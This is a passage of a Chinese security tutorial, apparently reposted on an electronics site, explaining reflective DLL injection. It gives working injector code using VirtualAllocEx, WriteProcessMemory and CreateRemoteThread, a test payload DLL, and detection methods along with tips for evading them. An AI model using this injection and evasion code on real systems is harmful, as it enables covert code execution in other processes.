在目標(biāo)進(jìn)程中執(zhí)行 ReflectiveLoader 函數(shù),首先需要將反射 DLL 寫入到目標(biāo)進(jìn)程中,通過使用 VirtualAllocEx 函數(shù)在目標(biāo)進(jìn)程中開辟內(nèi)存空間并寫入反射 DLL 內(nèi)容,之后通過 CreateRemoteThread 函數(shù)在目標(biāo)進(jìn)程創(chuàng)建一個(gè)線程執(zhí)行 ReflectiveLoader 函數(shù),這叫導(dǎo)致反射 DLL 被加載執(zhí)行。

HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ){ BOOLbSuccess               = FALSE; LPVOID lpRemoteLibraryBuffer       = NULL; LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; HANDLE hThread              = NULL; DWORD dwReflectiveLoaderOffset      = 0; DWORD dwThreadId             = 0; __try { do{ if( !hProcess || !lpBuffer || !dwLength ) break; // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( !dwReflectiveLoaderOffset ) break; // alloc memory (RWX) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) break; // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) break; // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); } while( 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { hThread = NULL; } return hThread;}

測(cè)試

在反射 DLL 中編寫需要執(zhí)行的代碼,并使用反射 DLL 注入器進(jìn)行反射 DLL 注入到目標(biāo)進(jìn)程中進(jìn)行測(cè)試。

VOID Go()
{
MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
/// other code here.
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
switch(dwReason)
{
caseDLL_PROCESS_ATTACH:
Go();
break;
caseDLL_THREAD_ATTACH:
caseDLL_THREAD_DETACH:
caseDLL_PROCESS_DETACH:
break;
}
returnTRUE;
}

說(shuō)明:在使用 Visual Studio IDE 編譯反射 DLL 工程項(xiàng)目的過程中,注意關(guān)閉支持我的代碼調(diào)試(/JMC)標(biāo)志和禁用安全檢查(/GS)標(biāo)志,因?yàn)檫@些會(huì)導(dǎo)致編譯器向最終的二進(jìn)制代碼中添加一些安全檢查代碼,需要避免編譯器對(duì)反射 DLL 的進(jìn)行優(yōu)化,從而導(dǎo)致改變代碼的執(zhí)行路徑,進(jìn)而導(dǎo)致程序崩潰。

測(cè)試效果如下:

92bf1b42-b6b3-11ee-8b88-92fbcf53809c.png

檢測(cè)

針對(duì)反射的 DLL 的導(dǎo)出函數(shù) ReflectiveLoader 函數(shù)名稱進(jìn)行特征(這可以通過修改導(dǎo)出函數(shù)名稱解決),使用 Pesieve 或者 Moneta 等內(nèi)存掃描工具針對(duì)被加載的 PE 載荷進(jìn)行運(yùn)行時(shí)檢測(cè),這需要對(duì)運(yùn)行的內(nèi)存進(jìn)行加密來(lái)對(duì)抗。針對(duì)一些敏感的 API 調(diào)用進(jìn)行監(jiān)控。

總結(jié)

本文首先針對(duì)反射 DLL 注入的應(yīng)用場(chǎng)景做了簡(jiǎn)單的介紹,之后介紹了反射 DLL 注入的原理,其由兩部分組成,其中一部分是反射 DLL,另一部分反射 DLL 注入器,兩者缺一不可。之后結(jié)合開源代碼對(duì)反射 DLL 注入的實(shí)現(xiàn)進(jìn)行了進(jìn)一步說(shuō)明,對(duì)其實(shí)現(xiàn)流程進(jìn)行了說(shuō)明,最后演示了反射 DLL 注入的效果和提出了一些注意點(diǎn),并提供了一些檢測(cè)方式。

審核編輯:湯梓紅

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • dll
    dll
    +關(guān)注

    關(guān)注

    0

    文章

    115

    瀏覽量

    45428
  • 程序
    +關(guān)注

    關(guān)注

    117

    文章

    3787

    瀏覽量

    81049
  • 函數(shù)
    +關(guān)注

    關(guān)注

    3

    文章

    4331

    瀏覽量

    62622

原文標(biāo)題:反射 DLL 注入

文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    光時(shí)域反射儀(OTDR)工作原理及測(cè)試方法

    一、OTDR的工作原理:光纖光纜測(cè)試是光纜施工、維護(hù)、搶修重要技術(shù)手段,采用OTDR(光時(shí)域反射儀)進(jìn)行光纖連接的現(xiàn)場(chǎng)監(jiān)視和連接損耗測(cè)量評(píng)價(jià),是目前最有效的方式。這種
    發(fā)表于 08-09 10:05 ?5620次閱讀

    時(shí)域反射計(jì)的工作原理

    傳統(tǒng)時(shí)域反射計(jì)工作原理時(shí)域反射計(jì)TDR是最常用的測(cè)量傳輸線特征阻抗的儀器,它是利用時(shí)域反射的原理進(jìn)行特性阻抗的測(cè)量。圖1是傳統(tǒng)TDR工作原理
    發(fā)表于 07-01 08:23

    Spring工作原理

    2.AOP的主要原理:動(dòng)態(tài)代理Spring工作原理Spring 已經(jīng)用過一段時(shí)間了,感覺Spring是個(gè)很不錯(cuò)的框架。內(nèi)部最核心的就是IOC了,動(dòng)態(tài)注入,讓一個(gè)對(duì)象的創(chuàng)建不用new了,可以自動(dòng)的生產(chǎn),這其實(shí)
    發(fā)表于 07-10 07:41

    TCRT5000紅外反射傳感器與SG90舵機(jī)的工作原理

    TCRT5000紅外反射傳感器的工作原理是什么?SG90舵機(jī)的工作原理是什么?
    發(fā)表于 10-11 07:35

    DTH11傳感器工作原理流程解析

    DTH11的工作原理是什么?DTH11傳感器的通訊流程是怎樣的?
    發(fā)表于 02-18 06:49

    如何編寫dll文件

    如何編寫dll文件:可以用幾種語(yǔ)言來(lái)實(shí)現(xiàn),如delphi編寫dll,pb編寫dll文件,java 編寫dll,vc 編寫
    發(fā)表于 01-16 10:20 ?8877次閱讀

    利用DLL函數(shù)實(shí)現(xiàn)溫度測(cè)量與控制

    利用DLL函數(shù)實(shí)現(xiàn)溫度測(cè)量與控制,喜歡的朋友可以下載來(lái)學(xué)習(xí)。
    發(fā)表于 01-13 16:15 ?12次下載

    利用LabWindowsCVI(DAQ+DLL實(shí)現(xiàn)_程序案例

    程序案例 利用LabWindowsCVI(DAQ+DLL實(shí)現(xiàn)開關(guān)量輸入(DI)
    發(fā)表于 01-13 16:21 ?17次下載

    時(shí)域反射計(jì)TDR的工作原理詳細(xì)說(shuō)明

    測(cè)試信號(hào)的運(yùn)行特征參考圖2所示。由階躍源發(fā)出的快邊沿信號(hào)注入到被測(cè)傳輸線上,如果傳輸線阻抗連續(xù),這個(gè)快沿階躍信號(hào)就沿著傳輸線向前傳播。當(dāng)傳輸線出現(xiàn)阻抗變化時(shí),階躍信號(hào)就有一部分反射回來(lái),一部分繼續(xù)
    發(fā)表于 12-18 10:28 ?4次下載

    Java反射工作原理和源碼分析

    Java反射工作原理和源碼分析
    發(fā)表于 07-08 15:11 ?14次下載
    Java<b class='flag-5'>反射</b>的<b class='flag-5'>工作原理</b>和源碼分析

    機(jī)器視覺檢測(cè)系統(tǒng)的工作原理及檢測(cè)流程

    機(jī)器視覺檢測(cè)系統(tǒng)的工作原理及檢測(cè)流程說(shuō)明。
    發(fā)表于 04-26 09:18 ?20次下載

    電流注入探頭的工作原理

    電流注入探頭是一種測(cè)量電器的工具,主要用于實(shí)時(shí)監(jiān)測(cè)電路中的電流變化。它的工作原理是將一個(gè)小電阻串聯(lián)在電路中,并通過該電阻注入恒定電流,然后通過檢測(cè)電阻兩端的電壓變化來(lái)計(jì)算電路中的電流。本文將詳細(xì)介紹電流
    的頭像 發(fā)表于 03-29 15:40 ?2303次閱讀

    光纖反射內(nèi)存產(chǎn)品的工作原理及特點(diǎn)

    內(nèi)存產(chǎn)品的特點(diǎn)、工作原理及應(yīng)用場(chǎng)景,幫助讀者全面了解這一技術(shù)。 一、光纖反射內(nèi)存產(chǎn)品的特點(diǎn) 光纖反射內(nèi)存產(chǎn)品是一種基于光纖反射鏡技術(shù)的存儲(chǔ)設(shè)備,具有高速度、大容量、低能耗、高可靠性和長(zhǎng)
    的頭像 發(fā)表于 11-11 12:26 ?1905次閱讀

    反射內(nèi)存卡的工作原理

    天津拓航科技反射內(nèi)存卡的工作原理
    的頭像 發(fā)表于 11-14 10:36 ?276次閱讀
    <b class='flag-5'>反射</b>內(nèi)存卡的<b class='flag-5'>工作原理</b>

    反射內(nèi)存交換機(jī)工作原理

    天津拓航科技自研生產(chǎn)的反射內(nèi)存交換機(jī)工作原理解析
    的頭像 發(fā)表于 11-14 10:45 ?216次閱讀
    <b class='flag-5'>反射</b>內(nèi)存交換機(jī)<b class='flag-5'>工作原理</b>